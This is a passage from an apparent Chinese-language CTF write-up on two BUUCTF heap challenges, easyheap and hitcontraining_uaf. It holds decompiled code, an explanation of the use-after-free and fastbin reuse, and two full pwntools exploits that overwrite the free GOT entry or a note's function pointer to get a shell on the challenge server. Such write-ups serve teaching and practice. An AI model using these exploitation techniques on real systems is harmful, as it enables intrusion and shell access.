31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context.arch = 'amd64'
so = ELF('/oldlibcs/ubt16/64.so')
elf = ELF('./easyheap')
p = remote("node5.buuoj.cn", 26230)
# p = remote('127.0.0.1', 20000)
free_got = elf.got['free']
system_plt = elf.plt['system']
fkfd = 0x6020AD
magic = 0x6020C0

def create_heap(size, content):
p.sendlineafter(b"choice :", b"1")
p.sendlineafter(b"Heap : ", str(size).encode())
p.sendlineafter(b"heap:", content)

def edit_heap(index, content):
p.sendlineafter(b"choice :", b"2")
p.sendlineafter(b"Index :", str(index).encode())
p.sendlineafter(b"Heap : ", str(len(content)).encode())
p.sendafter(b"heap : ", content)

def delete_heap(index):
p.sendlineafter(b"choice :", b"3")
p.sendlineafter(b"Index :", str(index).encode())
# print(p.recvuntil(b'Done !'))

def quit():
p.sendlineafter(b"choice :", b"4")

create_heap(0x60, b'') # 0
create_heap(0x60, b'') # 1
create_heap(0x60, b'') # 2
create_heap(0x10, b'') # 3
delete_heap(1) # 1
delete_heap(2) # 2
edit_heap(0, b'A' * 0x60 + p64(0) + p64(0x71) + b'\x00' * 0x60 + p64(0) + p64(0x71) + p64(fkfd))
create_heap(0x60, b'') # 1
create_heap(0x60, b'') # 2
edit_heap(2, b'\x00' * 3 + p64(0) * 4 + p64(free_got))
edit_heap(0, p64(system_plt))
edit_heap(1, b'\x00' * 0x60 + p64(0) + p64(0x21) + b'/bin/sh\x00')
delete_heap(3)
p.interactive()

hitcontraining_uaf | Use after free

和之前的两道堆题一样是Use after free 但是前面利用的都是Off-By-One栈溢出 这题有点不一样 所以记录一下

主要函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
_DWORD **print_note()
{
_DWORD **result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]

printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = (&notelist)[v2];
if ( result )
return (_DWORD **)((int (__cdecl *)(_DWORD **))*(&notelist)[v2])((&notelist)[v2]);
return result;
}

_DWORD **del_note()
{
_DWORD **result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]

printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = (&notelist)[v2];
if ( result )
{
free((&notelist)[v2][1]);
free((&notelist)[v2]);
return (_DWORD **)puts("Success");
}
return result;
}

_DWORD **add_note()
{
_DWORD **result; // eax
_DWORD **v1; // esi
char buf[8]; // [esp+0h] [ebp-18h] BYREF
size_t size; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]

result = (_DWORD **)count;
if ( count > 5 )
return (_DWORD **)puts("Full");
for ( i = 0; i <= 4; ++i )
{
result = (&notelist)[i];
if ( !result )
{
(&notelist)[i] = (_DWORD **)malloc(8u);
if ( !(&notelist)[i] )
{
puts("Alloca Error");
exit(-1);
}
*(&notelist)[i] = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v1 = (&notelist)[i];
v1[1] = malloc(size);
if ( !(&notelist)[i][1] )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, (&notelist)[i][1], size);
puts("Success !");
return (_DWORD **)++count;
}
}
return result;
}

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[4]; // [esp+0h] [ebp-Ch] BYREF
int *p_argc; // [esp+4h] [ebp-8h]

p_argc = &argc;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4u);
v3 = atoi(buf);
if ( v3 != 2 )
break;
del_note();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_note();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_note();
}
}
}

存放堆的结构如下:

1
2
3
4
notelist-->heap0-->print_function_addr
. |_>malloced_heap
.
.

用二级指针 一级指针指向一个content[2] 其中content[0]是一个输出函数的地址 每个申请的堆都会存放这个函数地址 content[1]就是真正申请到的堆 要读取堆的数据时就调用content[0] 用户释放堆时先释放content[1]再释放content

这题的一个重点是content也是malloc(8)申请出来的(32位程序一个地址4字节) 这题没有编辑函数 创建时根据要申请的size来读入数据

因为这题给了后门函数 所以实际上我并没有利用到 uaf(不知道哪里存在uaf) 这里利用的点就是用户申请一个堆的同时会先申请8bytes的chunk 如果用户申请的就是8bytes的chunk 那么根据Fastbin分配chunk的规则 如果之前释放过chunk(大小不是8bytes) Fastbin中就会加入被释放的content 此时用户有可能会申请到指向content[0]的堆 并且可以覆盖其中的print_note_content 而程序在释放堆时没有将指向content[0]的指针置零 调用打印函数时也不会检测是否是已被释放的堆 所以只需要释放两个非8bytes大小的chunk(例如chunk0, chunk1) 然后申请一个大小为8bytes的chunk2 这时候根据Fastbin的分配原则会将chunk1的content分配给chunk2的content 将chunk0的content分配给chunk2的content[1] 这时候给chunk2的内容初始化为后门函数再调用readnote的函数读取chunk0就会触发后门 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

elf = ELF('./hacknote')
vlun = p32(elf.symbols['magic'])

p = remote('node5.buuoj.cn', xxxxx)

def print_note(ind):
p.sendlineafter(b'choice :', b'3')
p.sendlineafter(b'Index :', str(ind).encode())

def add_note(content):
size = len(content)
p.sendlineafter(b'choice :', b'1')
p.sendlineafter(b'size :', str(size).encode())
p.sendafter(b'Content :', content)

def del_note(ind):
p.sendlineafter(b'choice :', b'2')
p.sendlineafter(b'Index :', str(ind).encode())

add_note(b'0' * 0x20) #0
add_note(b'1' * 0x20) #1
add_note(b'2' * 0x20) #2
del_note(0)
del_note(1)
add_note(vlun) #3
print_note(0)
p.interactive()